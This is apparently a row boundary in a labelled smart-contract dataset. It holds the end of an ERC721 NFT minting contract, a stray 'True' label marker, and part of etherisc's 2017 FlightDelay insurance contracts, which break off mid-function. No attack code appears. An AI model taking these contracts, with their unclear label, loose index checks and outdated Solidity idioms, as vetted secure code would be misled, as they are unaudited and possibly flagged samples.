* defined in the EIP that adds enumerability of all the token ids in the
* contract as well as all token ids owned by each account. These functions
* are mainly for convenience and should NEVER be called from inside a
* contract on the chain.
*/
abstract contract ERC721SE is ERC721S, IERC721Enumerable {
address constant zero = address(0);
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165, ERC721S)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256 tokenId)
{
uint256 length = _owners.length;
unchecked {
for (; tokenId < length; ++tokenId) {
if (_owners[tokenId] == owner) {
if (index-- == 0) {
break;
}
}
}
}
require(
tokenId < length,
"ERC721Enumerable: owner index out of bounds"
);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply()
public
view
virtual
override
returns (uint256 supply)
{
unchecked {
uint256 length = _owners.length;
for (uint256 tokenId = 0; tokenId < length; ++tokenId) {
if (_owners[tokenId] != zero) {
++supply;
}
}
}
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256 tokenId)
{
uint256 length = _owners.length;
unchecked {
for (; tokenId < length; ++tokenId) {
if (_owners[tokenId] != zero) {
if (index-- == 0) {
break;
}
}
}
}
require(
tokenId < length,
"ERC721Enumerable: global index out of bounds"
);
}
/**
* @dev Get all tokens owned by owner.
*/
function ownerTokens(address owner) public view returns (uint256[] memory) {
uint256 tokenCount = ERC721S.balanceOf(owner);
require(tokenCount != 0, "ERC721Enumerable: owner owns no tokens");
uint256 length = _owners.length;
uint256[] memory tokenIds = new uint256[](tokenCount);
unchecked {
uint256 i = 0;
for (uint256 tokenId = 0; tokenId < length; ++tokenId) {
if (_owners[tokenId] == owner) {
tokenIds[i++] = tokenId;
}
}
}
return tokenIds;
}
}
// File: contracts/satoshisContract.sol
pragma solidity ^0.8.9;
/*
------------------------------------------------------------------------------
████████╗██╗░░██╗███████╗
╚══██╔══╝██║░░██║██╔════╝
░░░██║░░░███████║█████╗░░
░░░██║░░░██╔══██║██╔══╝░░
░░░██║░░░██║░░██║███████╗
░░░╚═╝░░░╚═╝░░╚═╝╚══════╝
██████╗░░█████╗░██╗███╗░░██╗████████╗███████╗██████╗░
██╔══██╗██╔══██╗██║████╗░██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝███████║██║██╔██╗██║░░░██║░░░█████╗░░██║░░██║
██╔═══╝░██╔══██║██║██║╚████║░░░██║░░░██╔══╝░░██║░░██║
██║░░░░░██║░░██║██║██║░╚███║░░░██║░░░███████╗██████╔╝
╚═╝░░░░░╚═╝░░╚═╝╚═╝╚═╝░░╚══╝░░░╚═╝░░░╚══════╝╚═════╝░
░██████╗░█████╗░████████╗░█████╗░░██████╗██╗░░██╗██╗░██████╗
██╔════╝██╔══██╗╚══██╔══╝██╔══██╗██╔════╝██║░░██║██║██╔════╝
╚█████╗░███████║░░░██║░░░██║░░██║╚█████╗░███████║██║╚█████╗░
░╚═══██╗██╔══██║░░░██║░░░██║░░██║░╚═══██╗██╔══██║██║░╚═══██╗
██████╔╝██║░░██║░░░██║░░░╚█████╔╝██████╔╝██║░░██║██║██████╔╝
╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░░╚════╝░╚═════╝░╚═╝░░╚═╝╚═╝╚═════╝░
------------------------------------------------------------------------------
Artist: Darren Booth (@darbooth)
Designer: Kangokai (@kangokai)
Dev: Orion (@OrionDevStar)
------------------------------------------------------------------------------
*/
contract ThePaintedSatoshis is ERC721SE, EIP2981RoyaltyOverrideCore, Ownable, ReentrancyGuard, PaymentSplitter, Pausable {
using Strings for uint256;
uint8 public MINT_AMOUNT_TRANSACTION = 10;
uint128 public PUBLIC_COST = 0.04749 ether;
uint256 public GENESIS_SUPPLY = 4749;
uint256 public NEW_SUPPLY = 0;
string private baseURI;
string private newBaseURI;
string public PROVENANCE_HASH;
address[] public team;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
address proxyRegistryAddress,
uint[] memory _teamShares,
address[] memory _team,
string memory _provence_hash
)
ERC721S(_name, _symbol, proxyRegistryAddress)
PaymentSplitter(_team, _teamShares)
{
setBaseURI(_initBaseURI);
team = _team;
PROVENANCE_HASH = _provence_hash;
_initializeEIP712(_name);
_owners.push();
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function _newBaseURI() internal view virtual returns (string memory) {
return newBaseURI;
}
// @dev standard mint verification used by other functions
function _mintNFT(uint256 _quantity, uint128 _price) internal {
require(_quantity * _price <= msg.value, "Insufficient funds.");
require(_quantity + _owners.length <= maxSupply(),"Purchase exceeds available supply.");
for (uint256 i = 0; i < _quantity; i++) {
_safeMint(msg.sender);
}
}
// public
// @dev mint the _quantity to the message.sender
// @param _quantity is the quantity that will be minted
function mint(uint256 _quantity) public payable nonReentrant whenNotPaused {
require(_quantity <= MINT_AMOUNT_TRANSACTION, "Quantity exceeds per-transaction limit");
_mintNFT(_quantity, PUBLIC_COST);
}
// @dev shows the actual maximum supply
function maxSupply() public view virtual returns (uint256) {
return GENESIS_SUPPLY + NEW_SUPPLY;
}
// @dev show the correct URI for the token, using the _tokenId to see if the token is on the Genesis or New supply
// @param _tokenId points to the id of the NFT in the Smart Contract
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
if(_tokenId > GENESIS_SUPPLY) {
return string(abi.encodePacked(_newBaseURI(), _tokenId.toString(), ".json"));
} else {
return string(abi.encodePacked(_baseURI(), _tokenId.toString(), ".json"));
}
}
// @dev See {IERC165-supportsInterface}.
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721SE, EIP2981RoyaltyOverrideCore) returns (bool) {
return ERC721SE.supportsInterface(interfaceId) || EIP2981RoyaltyOverrideCore.supportsInterface(interfaceId);
}
//only owner
// @dev owner can mint a _quantity for the address _to for free, can be used to airdrop someone
// @param _quantity is the quantity that will be minted
// @param _to is the address that the tokens will be send
function mintReserveToAddress(uint256 _quantity, address _to) public onlyOwner whenNotPaused {
require(_quantity + _owners.length <= maxSupply(),"Purchase exceeds available supply.");
for (uint256 i = 1; i <= _quantity; i++) {
_safeMint(_to);
}
}
// @dev mint a single token to each address passed in through calldata
// @param _addresses Array of addresses to send a single token to
function mintReserveToAddresses(address[] calldata _addresses) external onlyOwner whenNotPaused {
uint256 _quantity = _addresses.length;
require(_quantity + _owners.length <= maxSupply(),"Purchase exceeds available supply.");
for (uint256 i = 0; i < _quantity; i++) {
_safeMint(_addresses[i]);
}
}
// @dev set a new baseURI for the Smart Contract
// @param _BaseURI the new URI
function setBaseURI(string memory _BaseURI) public onlyOwner {
baseURI = _BaseURI;
}
// @dev set a new NewbaseURI for the Smart Contract
// @param _NewBaseURI the new URI
function setNewBaseURI(string memory _NewBaseURI) public onlyOwner {
newBaseURI = _NewBaseURI;
}
// @dev set the contract to paused
function pause() public onlyOwner {
_pause();
}
// @dev set the contract to unpaused
function unpause() public onlyOwner {
_unpause();
}
// @dev See {IEIP2981RoyaltyOverride-setTokenRoyalties}.
function setTokenRoyalties(TokenRoyaltyConfig[] calldata royaltyConfigs) external override onlyOwner {
_setTokenRoyalties(royaltyConfigs);
}
// @dev See {IEIP2981RoyaltyOverride-setDefaultRoyalty}.
function setDefaultRoyalty(TokenRoyalty calldata royalty) external override onlyOwner {
_setDefaultRoyalty(royalty);
}
// @dev changes the Genesis supply to be equal to the total supply
function burnRemainingTokens() public onlyOwner {
GENESIS_SUPPLY = totalSupply();
}
// @dev add _newQuantity to the NEW_SUPPLY to enable more tokens to be minted
function addNewTokens(uint256 _newQuantity) public onlyOwner {
NEW_SUPPLY += _newQuantity;
}
// @dev release all the funds in the smart contract for the team using the release function from PaymentSplitter
function releaseFunds() external onlyOwner {
for (uint i = 0; i < team.length; i++) {
release(payable(team[i]));
}
}
} | True | [
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// File: contracts/FlightDelayAccessControllerInterface.sol
/**
* FlightDelay with Oraclized Underwriting and Payout
*
* @description AccessControllerInterface
* @copyright (c) 2017 etherisc GmbH
* @author Christoph Mussenbrock
*/
pragma solidity ^0.4.11;
contract FlightDelayAccessControllerInterface {
function setPermissionById(uint8 _perm, bytes32 _id) public;
function setPermissionById(uint8 _perm, bytes32 _id, bool _access) public;
function setPermissionByAddress(uint8 _perm, address _addr) public;
function setPermissionByAddress(uint8 _perm, address _addr, bool _access) public;
function checkPermission(uint8 _perm, address _addr) public returns (bool _success);
}
// File: contracts/FlightDelayConstants.sol
/**
* FlightDelay with Oraclized Underwriting and Payout
*
* @description Events and Constants
* @copyright (c) 2017 etherisc GmbH
* @author Christoph Mussenbrock
*/
pragma solidity ^0.4.11;
contract FlightDelayConstants {
/*
* General events
*/
// --> test-mode
// event LogUint(string _message, uint _uint);
// event LogUintEth(string _message, uint ethUint);
// event LogUintTime(string _message, uint timeUint);
// event LogInt(string _message, int _int);
// event LogAddress(string _message, address _address);
// event LogBytes32(string _message, bytes32 hexBytes32);
// event LogBytes(string _message, bytes hexBytes);
// event LogBytes32Str(string _message, bytes32 strBytes32);
// event LogString(string _message, string _string);
// event LogBool(string _message, bool _bool);
// event Log(address);
// <-- test-mode
event LogPolicyApplied(
uint _policyId,
address _customer,
bytes32 strCarrierFlightNumber,
uint ethPremium
);
event LogPolicyAccepted(
uint _policyId,
uint _statistics0,
uint _statistics1,
uint _statistics2,
uint _statistics3,
uint _statistics4,
uint _statistics5
);
event LogPolicyPaidOut(
uint _policyId,
uint ethAmount
);
event LogPolicyExpired(
uint _policyId
);
event LogPolicyDeclined(
uint _policyId,
bytes32 strReason
);
event LogPolicyManualPayout(
uint _policyId,
bytes32 strReason
);
event LogSendFunds(
address _recipient,
uint8 _from,
uint ethAmount
);
event LogReceiveFunds(
address _sender,
uint8 _to,
uint ethAmount
);
event LogSendFail(
uint _policyId,
bytes32 strReason
);
event LogOraclizeCall(
uint _policyId,
bytes32 hexQueryId,
string _oraclizeUrl,
uint256 _oraclizeTime
);
event LogOraclizeCallback(
uint _policyId,
bytes32 hexQueryId,
string _result,
bytes hexProof
);
event LogSetState(
uint _policyId,
uint8 _policyState,
uint _stateTime,
bytes32 _stateMessage
);
event LogExternal(
uint256 _policyId,
address _address,
bytes32 _externalId
);
/*
* General constants
*/
// contracts release version
uint public constant MAJOR_VERSION = 1;
uint public constant MINOR_VERSION = 0;
uint public constant PATCH_VERSION = 2;
// minimum observations for valid prediction
uint constant MIN_OBSERVATIONS = 10;
// minimum premium to cover costs
uint constant MIN_PREMIUM = 50 finney;
// maximum premium
uint constant MAX_PREMIUM = 1 ether;
// maximum payout
uint constant MAX_PAYOUT = 1100 finney;
uint constant MIN_PREMIUM_EUR = 1500 wei;
uint constant MAX_PREMIUM_EUR = 29000 wei;
uint constant MAX_PAYOUT_EUR = 30000 wei;
uint constant MIN_PREMIUM_USD = 1700 wei;
uint constant MAX_PREMIUM_USD = 34000 wei;
uint constant MAX_PAYOUT_USD = 35000 wei;
uint constant MIN_PREMIUM_GBP = 1300 wei;
uint constant MAX_PREMIUM_GBP = 25000 wei;
uint constant MAX_PAYOUT_GBP = 270 wei;
// maximum cumulated weighted premium per risk
uint constant MAX_CUMULATED_WEIGHTED_PREMIUM = 60 ether;
// 1 percent for DAO, 1 percent for maintainer
uint8 constant REWARD_PERCENT = 2;
// reserve for tail risks
uint8 constant RESERVE_PERCENT = 1;
// the weight pattern; in future versions this may become part of the policy struct.
// currently can't be constant because of compiler restrictions
// WEIGHT_PATTERN[0] is not used, just to be consistent
uint8[6] WEIGHT_PATTERN = [
0,
0,
0,
30,
50,
50
];
// --> prod-mode
// DEFINITIONS FOR ROPSTEN AND MAINNET
// minimum time before departure for applying
uint constant MIN_TIME_BEFORE_DEPARTURE = 24 hours; // for production
// check for delay after .. minutes after scheduled arrival
uint constant CHECK_PAYOUT_OFFSET = 15 minutes; // for production
// <-- prod-mode
// --> test-mode
// // DEFINITIONS FOR LOCAL TESTNET
// // minimum time before departure for applying
// uint constant MIN_TIME_BEFORE_DEPARTURE = 1 seconds; // for testing
// // check for delay after .. minutes after scheduled arrival
// uint constant CHECK_PAYOUT_OFFSET = 1 seconds; // for testing
// <-- test-mode
// maximum duration of flight
uint constant MAX_FLIGHT_DURATION = 2 days;
// Deadline for acceptance of policies: 31.12.2030 (Testnet)
uint constant CONTRACT_DEAD_LINE = 1922396399;
// gas Constants for oraclize
uint constant ORACLIZE_GAS = 700000;
uint constant ORACLIZE_GASPRICE = 4000000000;
/*
* URLs and query strings for oraclize
*/
// --> prod-mode
// DEFINITIONS FOR ROPSTEN AND MAINNET
string constant ORACLIZE_RATINGS_BASE_URL =
// ratings api is v1, see https://developer.flightstats.com/api-docs/ratings/v1
"[URL] json(https://api.flightstats.com/flex/ratings/rest/v1/json/flight/";
string constant ORACLIZE_RATINGS_QUERY =
"?${[decrypt] BJoM0BfTe82RtghrzzCbNA7b9E9tQIX8LtM+pRRh22RfQ5QhnVAv6Kk4SyaMwQKczC7YtinJ/Xm6PZMgKnWN7+/pFUfI2YcxaAW0vYuXJF4zCTxPYXa6j4shhce60AMBeKoZZsgn6Og+olgSpgpfi4MwkmmytwdCLHqat3gGUPklBhM1HR0x}).ratings[0]['observations','late15','late30','late45','cancelled','diverted','arrivalAirportFsCode','departureAirportFsCode']";
string constant ORACLIZE_STATUS_BASE_URL =
// flight status api is v2, see https://developer.flightstats.com/api-docs/flightstatus/v2/flight
"[URL] json(https://api.flightstats.com/flex/flightstatus/rest/v2/json/flight/status/";
string constant ORACLIZE_STATUS_QUERY =
// pattern:
"?${[decrypt] BA3YyqF4iMQszBawvgG82bqX3fw7JoWA1thFsboUECR/L8JkBCgvaThg1LcUWbIntosEKs/kvqyzOtvdQfMgjYPV0c6hsq/gKQkmJYILZmLY4SgBebH8g0qbfrrjxF5gEbfCi2qoR6PSxcQzKIjgd4HvAaumlQd4CkJLmY463ymqNN9B8/PL}&utc=true).flightStatuses[0]['status','delays','operationalTimes']";
// <-- prod-mode
// --> test-mode
// // DEFINITIONS FOR LOCAL TESTNET
// string constant ORACLIZE_RATINGS_BASE_URL =
// // ratings api is v1, see https://developer.flightstats.com/api-docs/ratings/v1
// "[URL] json(https://api-test.etherisc.com/flex/ratings/rest/v1/json/flight/";
// string constant ORACLIZE_RATINGS_QUERY =
// // for testrpc:
// ").ratings[0]['observations','late15','late30','late45','cancelled','diverted','arrivalAirportFsCode','departureAirportFsCode']";
// string constant ORACLIZE_STATUS_BASE_URL =
// // flight status api is v2, see https://developer.flightstats.com/api-docs/flightstatus/v2/flight
// "[URL] json(https://api-test.etherisc.com/flex/flightstatus/rest/v2/json/flight/status/";
// string constant ORACLIZE_STATUS_QUERY =
// // for testrpc:
// "?utc=true).flightStatuses[0]['status','delays','operationalTimes']";
// <-- test-mode
}
// File: contracts/FlightDelayControllerInterface.sol
/**
* FlightDelay with Oraclized Underwriting and Payout
*
* @description Contract interface
* @copyright (c) 2017 etherisc GmbH
* @author Christoph Mussenbrock, Stephan Karpischek
*/
pragma solidity ^0.4.11;
contract FlightDelayControllerInterface {
function isOwner(address _addr) public returns (bool _isOwner);
function selfRegister(bytes32 _id) public returns (bool result);
function getContract(bytes32 _id) public returns (address _addr);
}
// File: contracts/FlightDelayDatabaseModel.sol
/**
* FlightDelay with Oraclized Underwriting and Payout
*
* @description Database model
* @copyright (c) 2017 etherisc GmbH
* @author Christoph Mussenbrock, Stephan Karpischek
*/
pragma solidity ^0.4.11;
contract FlightDelayDatabaseModel {
// Ledger accounts.
enum Acc {
Premium, // 0
RiskFund, // 1
Payout, // 2
Balance, // 3
Reward, // 4
OraclizeCosts // 5
}
// policy Status Codes and meaning:
//
// 00 = Applied: the customer has payed a premium, but the oracle has
// not yet checked and confirmed.
// The customer can still revoke the policy.
// 01 = Accepted: the oracle has checked and confirmed.
// The customer can still revoke the policy.
// 02 = Revoked: The customer has revoked the policy.
// The premium minus cancellation fee is payed back to the
// customer by the oracle.
// 03 = PaidOut: The flight has ended with delay.
// The oracle has checked and payed out.
// 04 = Expired: The flight has endet with <15min. delay.
// No payout.
// 05 = Declined: The application was invalid.
// The premium minus cancellation fee is payed back to the
// customer by the oracle.
// 06 = SendFailed: During Revoke, Decline or Payout, sending ether failed
// for unknown reasons.
// The funds remain in the contracts RiskFund.
// 00 01 02 03 04 05 06
enum policyState { Applied, Accepted, Revoked, PaidOut, Expired, Declined, SendFailed }
// oraclize callback types:
enum oraclizeState { ForUnderwriting, ForPayout }
// 00 01 02 03
enum Currency { ETH, EUR, USD, GBP }
// the policy structure: this structure keeps track of the individual parameters of a policy.
// typically customer address, premium and some status information.
struct Policy {
// 0 - the customer
address customer;
// 1 - premium
uint premium;
// risk specific parameters:
// 2 - pointer to the risk in the risks mapping
bytes32 riskId;
// custom payout pattern
// in future versions, customer will be able to tamper with this array.
// to keep things simple, we have decided to hard-code the array for all policies.
// uint8[5] pattern;
// 3 - probability weight. this is the central parameter
uint weight;
// 4 - calculated Payout
uint calculatedPayout;
// 5 - actual Payout
uint actualPayout;
// status fields:
// 6 - the state of the policy
policyState state;
// 7 - time of last state change
uint stateTime;
// 8 - state change message/reason
bytes32 stateMessage;
// 9 - TLSNotary Proof
bytes proof;
// 10 - Currency
Currency currency;
// 10 - External customer id
bytes32 customerExternalId;
}
// the risk structure; this structure keeps track of the risk-
// specific parameters.
// several policies can share the same risk structure (typically
// some people flying with the same plane)
struct Risk {
// 0 - Airline Code + FlightNumber
bytes32 carrierFlightNumber;
// 1 - scheduled departure and arrival time in the format /dep/YYYY/MM/DD
bytes32 departureYearMonthDay;
// 2 - the inital arrival time
uint arrivalTime;
// 3 - the final delay in minutes
uint delayInMinutes;
// 4 - the determined delay category (0-5)
uint8 delay;
// 5 - we limit the cumulated weighted premium to avoid cluster risks
uint cumulatedWeightedPremium;
// 6 - max cumulated Payout for this risk
uint premiumMultiplier;
}
// the oraclize callback structure: we use several oraclize calls.
// all oraclize calls will result in a common callback to __callback(...).
// to keep track of the different querys we have to introduce this struct.
struct OraclizeCallback {
// for which policy have we called?
uint policyId;
// for which purpose did we call? {ForUnderwrite | ForPayout}
oraclizeState oState;
// time
uint oraclizeTime;
}
struct Customer {
bytes32 customerExternalId;
bool identityConfirmed;
}
}
// File: contracts/FlightDelayControlledContract.sol
/**
* FlightDelay with Oraclized Underwriting and Payout
*
* @description Controlled contract Interface
* @copyright (c) 2017 etherisc GmbH
* @author Christoph Mussenbrock
*/
pragma solidity ^0.4.11;
contract FlightDelayControlledContract is FlightDelayDatabaseModel {
address public controller;
FlightDelayControllerInterface FD_CI;
modifier onlyController() {
require(msg.sender == controller);
_;
}
function setController(address _controller) internal returns (bool _result) {
controller = _controller;
FD_CI = FlightDelayControllerInterface(_controller);
_result = true;
}
function destruct() public onlyController {
selfdestruct(controller);
}
function setContracts() public onlyController {}
function getContract(bytes32 _id) internal returns (address _addr) {
_addr = FD_CI.getContract(_id);
}
}
// File: contracts/FlightDelayDatabaseInterface.sol
/**
* FlightDelay with Oraclized Underwriting and Payout
*
* @description Database contract interface
* @copyright (c) 2017 etherisc GmbH
* @author Christoph Mussenbrock, Stephan Karpischek
*/
pragma solidity ^0.4.11;
contract FlightDelayDatabaseInterface is FlightDelayDatabaseModel {
uint public MIN_DEPARTURE_LIM;
uint public MAX_DEPARTURE_LIM;
bytes32[] public validOrigins;
bytes32[] public validDestinations;
function countOrigins() public constant returns (uint256 _length);
function getOriginByIndex(uint256 _i) public constant returns (bytes32 _origin);
function countDestinations() public constant returns (uint256 _length);
function getDestinationByIndex(uint256 _i) public constant returns (bytes32 _destination);
function setAccessControl(address _contract, address _caller, uint8 _perm) public;
function setAccessControl(
address _contract,
address _caller,
uint8 _perm,
bool _access
) public;
function getAccessControl(address _contract, address _caller, uint8 _perm) public returns (bool _allowed) ;
function setLedger(uint8 _index, int _value) public;
function getLedger(uint8 _index) public returns (int _value) ;
function getCustomerPremium(uint _policyId) public returns (address _customer, uint _premium) ;
function getPolicyData(uint _policyId) public returns (address _customer, uint _premium, uint _weight) ;
function getPolicyState(uint _policyId) public returns (policyState _state) ;
function getRiskId(uint _policyId) public returns (bytes32 _riskId);
function createPolicy(address _customer, uint _premium, Currency _currency, bytes32 _customerExternalId, bytes32 _riskId) public returns (uint _policyId) ;
function setState(
uint _policyId,
policyState _state,
uint _stateTime,
bytes32 _stateMessage
) public;
function setWeight(uint _policyId, uint _weight, bytes _proof) public;
function setPayouts(uint _policyId, uint _calculatedPayout, uint _actualPayout) public;
function setDelay(uint _policyId, uint8 _delay, uint _delayInMinutes) public;
function getRiskParameters(bytes32 _riskId)
public returns (bytes32 _carrierFlightNumber, bytes32 _departureYearMonthDay, uint _arrivalTime) ;
function getPremiumFactors(bytes32 _riskId)
public returns (uint _cumulatedWeightedPremium, uint _premiumMultiplier);
function createUpdateRisk(bytes32 _carrierFlightNumber, bytes32 _departureYearMonthDay, uint _arrivalTime)
public returns (bytes32 _riskId);
function setPremiumFactors(bytes32 _riskId, uint _cumulatedWeightedPremium, uint _premiumMultiplier) public;
function getOraclizeCallback(bytes32 _queryId)
public returns (uint _policyId, uint _oraclizeTime) ;
function getOraclizePolicyId(bytes32 _queryId)
public returns (uint _policyId) ;
function createOraclizeCallback(
bytes32 _queryId,
uint _policyId,
oraclizeState _oraclizeState,
uint _oraclizeTime
) public;
function checkTime(bytes32 _queryId, bytes32 _riskId, uint _offset)
public returns (bool _result) ;
}
// File: contracts/FlightDelayDatabase.sol
/**
* FlightDelay with Oraclized Underwriting and Payout
*
* @description Database contract
* @copyright (c) 2017 etherisc GmbH
* @author Christoph Mussenbrock, Stephan Karpischek
*/
pragma solidity ^0.4.11;
contract FlightDelayDatabase is FlightDelayControlledContract, FlightDelayDatabaseInterface, FlightDelayConstants {
uint public MIN_DEPARTURE_LIM;
uint public MAX_DEPARTURE_LIM;
bytes32[] public validOrigins;
bytes32[] public validDestinations;
// Table of policies
Policy[] public policies;
mapping (bytes32 => uint[]) public extCustomerPolicies;
mapping (address => Customer) public customers;
// Lookup policyIds from customer addresses
mapping (address => uint[]) public customerPolicies;
// Lookup policy Ids from queryIds
mapping (bytes32 => OraclizeCallback) public oraclizeCallbacks;
// Lookup risks from risk IDs
mapping (bytes32 => Risk) public risks;
// Lookup AccessControl
mapping(address => mapping(address => mapping(uint8 => bool))) public accessControl;
// Lookup accounts of internal ledger
int[6] public ledger;
FlightDelayAccessControllerInterface FD_AC;
function FlightDelayDatabase (address _controller) public {
setController(_controller);
}
function setContracts() public onlyController {
FD_AC = FlightDelayAccessControllerInterface(getContract("FD.AccessController"));
FD_AC.setPermissionById(101, "FD.NewPolicy");
FD_AC.setPermissionById(101, "FD.Underwrite");
FD_AC.setPermissionById(101, "FD.Payout");
FD_AC.setPermissionById(101, "FD.Ledger");
FD_AC.setPermissionById(102, "FD.Owner");
}
function setMinDepartureLim(uint _timestamp) returns (bool _success) {
require(FD_AC.checkPermission(102, msg.sender));
MIN_DEPARTURE_LIM = _timestamp;
_success = true;
}
function setMaxDepartureLim(uint _timestamp) returns (bool _success) {
require(FD_AC.checkPermission(102, msg.sender));
MAX_DEPARTURE_LIM = _timestamp;
_success = true;
}
function addOrigin(bytes32 _origin) returns (uint256 _index) {
require(FD_AC.checkPermission(102, msg.sender));
validOrigins.push(_origin);
_index = validOrigins.length - 1;
}
function removeOriginByIndex(uint256 _index) returns (bool _success) {
require(FD_AC.checkPermission(102, msg.sender));
if (validOrigins.length == 0) {
return false;
} else {
bytes32 lastElement = validOrigins[validOrigins.length - 1];
validOrigins[_index] = lastElement;
validOrigins.length--;
return true;
}
}
function countOrigins() public constant returns (uint256 _length) {
_length = validOrigins.length;
}
function getOriginByIndex(uint256 _i) public constant returns (bytes32 _origin) {
_origin = validOrigins[_i];
}
function addDestination(bytes32 _origin) returns (uint256 _index) {
require(FD_AC.checkPermission(102, msg.sender));
validDestinations.push(_origin);
_index = validDestinations.length - 1;
}
function removeDestinationByIndex(uint256 _index) returns (bool _success) {
require(FD_AC.checkPermission(102, msg.sender));
if (validDestinations.length == 0) {
return false;
} else {
bytes32 lastElement = validDestinations[validDestinations.length - 1];
validDestinations[_index] = lastElement;
validDestinations.length--;
return true;
}
}
function countDestinations() public constant returns (uint256 _length) {
_length = validDestinations.length;
}
function getDestinationByIndex(uint256 _i) public constant returns (bytes32 _destination) {
_destination = validDestinations[_i];
}
// Getter and Setter for AccessControl
function setAccessControl (
address _contract,
address _caller,
uint8 _perm,
bool _access
) public {
// one and only hardcoded accessControl
require(msg.sender == FD_CI.getContract("FD.AccessController"));
accessControl[_contract][_caller][_perm] = _access;
}
// --> test-mode
// function setAccessControlTestOnly (
// address _contract,
// address _caller,
// uint8 _perm,
// bool _access
// ) public {
// accessControl[_contract][_caller][_perm] = _access;
// }
// <-- test-mode
function setAccessControl(address _contract, address _caller, uint8 _perm) public {
setAccessControl(
_contract,
_caller,
_perm,
true
);
}
function getAccessControl(address _contract, address _caller, uint8 _perm) public returns (bool _allowed) {
_allowed = accessControl[_contract][_caller][_perm];
}
// Getter and Setter for ledger
function setLedger(uint8 _index, int _value) public {
require(FD_AC.checkPermission(101, msg.sender));
int previous = ledger[_index];
ledger[_index] += _value;
// --> debug-mode
// LogInt("previous", previous);
// LogInt("ledger[_index]", ledger[_index]);
// LogInt("_value", _value);
// <-- debug-mode
// check for int overflow
if (_value < 0) {
assert(ledger[_index] < previous);
} else if (_value > 0) {
assert(ledger[_index] > previous);
}
}
function getLedger(uint8 _index) public returns (int _value) {
_value = ledger[_index];
}
// Getter and Setter for policies
function getCustomerPremium(uint _policyId) public returns (address _customer, uint _premium) {
Policy storage p = policies[_policyId];
_customer = p.customer;
_premium = p.premium;
}
function getPolicyData(uint _policyId) public returns (address _customer, uint _weight, uint _premium) {
Policy storage p = policies[_policyId];
_customer = p.customer;
_weight = p.weight;
_premium = p.premium;
}
function getPolicyState(uint _policyId) public returns (policyState _state) {
Policy storage p = policies[_policyId];
_state = p.state;
}
function getRiskId(uint _policyId) public returns (bytes32 _riskId) {
Policy storage p = policies[_policyId];
_riskId = p.riskId;
}
function createPolicy(address _customer, uint _premium, Currency _currency, bytes32 _customerExternalId, bytes32 _riskId) public returns (uint _policyId) {
require(FD_AC.checkPermission(101, msg.sender));
_policyId = policies.length++;
//todo: check for ovewflows
// --> test-mode
// LogUint("_policyId", _policyId);
// <-- test-mode
customerPolicies[_customer].push(_policyId);
extCustomerPolicies[_customerExternalId].push(_policyId);
Policy storage p = policies[_policyId];
p.customer = _customer;
p.currency = _currency;
p.customerExternalId = _customerExternalId;
p.premium = _premium;
p.riskId = _riskId;
}
function setState(
uint _policyId,
policyState _state,
uint _stateTime,
bytes32 _stateMessage
) public {
require(FD_AC.checkPermission(101, msg.sender));
LogSetState(
_policyId,
uint8(_state),
_stateTime,
_stateMessage
);
Policy storage p = policies[_policyId];
p.state = _state;
p.stateTime = _stateTime;
p.stateMessage = _stateMessage;
}
function setWeight(uint _policyId, uint _weight, bytes _proof) public {
require(FD_AC.checkPermission(101, msg.sender));
Policy storage p = policies[_policyId];
p.weight = _weight;
p.proof = _proof;
}
function setPayouts(uint _policyId, uint _calculatedPayout, uint _actualPayout) public {
require(FD_AC.checkPermission(101, msg.sender));
Policy storage p = policies[_policyId];
p.calculatedPayout = _calculatedPayout;
p.actualPayout = _actualPayout;
}
function setDelay(uint _policyId, uint8 _delay, uint _delayInMinutes) public {
require(FD_AC.checkPermission(101, msg.sender));
Risk storage r = risks[policies[_policyId].riskId];
r.delay = _delay;
r.delayInMinutes = _delayInMinutes;
}
// Getter and Setter for risks
function getRiskParameters(bytes32 _riskId) public returns (bytes32 _carrierFlightNumber, bytes32 _departureYearMonthDay, uint _arrivalTime) {
Risk storage r = risks[_riskId];
_carrierFlightNumber = r.carrierFlightNumber;
_departureYearMonthDay = r.departureYearMonthDay;
_arrivalTime = r.arrivalTime;
}
function getPremiumFactors(bytes32 _riskId) public returns (uint _cumulatedWeightedPremium, uint _premiumMultiplier) {
Risk storage r = risks[_riskId];
_cumulatedWeightedPremium = r.cumulatedWeightedPremium;
_premiumMultiplier = r.premiumMultiplier;
}
function createUpdateRisk(bytes32 _carrierFlightNumber, bytes32 _departureYearMonthDay, uint _arrivalTime) returns (bytes32 _riskId) {
require(FD_AC.checkPermission(101, msg.sender));
_riskId = sha3(
_carrierFlightNumber,
_departureYearMonthDay,
_arrivalTime
);
// --> test-mode
// LogBytes32("riskId", _riskId);
// <-- test-mode
Risk storage r = risks[_riskId];
if (r.premiumMultiplier == 0) {
r.carrierFlightNumber = _carrierFlightNumber;
r.departureYearMonthDay = _departureYearMonthDay;
r.arrivalTime = _arrivalTime;
}
}
function setPremiumFactors(bytes32 _riskId, uint _cumulatedWeightedPremium, uint _premiumMultiplier) public {
require(FD_AC.checkPermission(101, msg.sender));
Risk storage r = risks[_riskId];
r.cumulatedWeightedPremium = _cumulatedWeightedPremium;
r.premiumMultiplier = _premiumMultiplier;
}
// Getter and Setter for oraclizeCallbacks
function getOraclizeCallback(bytes32 _queryId) public returns (uint _policyId, uint _oraclizeTime) {
OraclizeCallback storage o = oraclizeCallbacks[_queryId];
_policyId = o.policyId;
_oraclizeTime = o.oraclizeTime;
}
function getOraclizePolicyId(bytes32 _queryId) public returns (uint _policyId) {
OraclizeCallback storage o = oraclizeCallbacks[_queryId];
_policyId = o.policyId;
}
function createOraclizeCallback(
bytes32 _queryId,
uint _policyId,
oraclizeState _oraclizeState,
uint _oraclizeTime) public {
require(FD_AC.checkPermission(101, msg.sender));
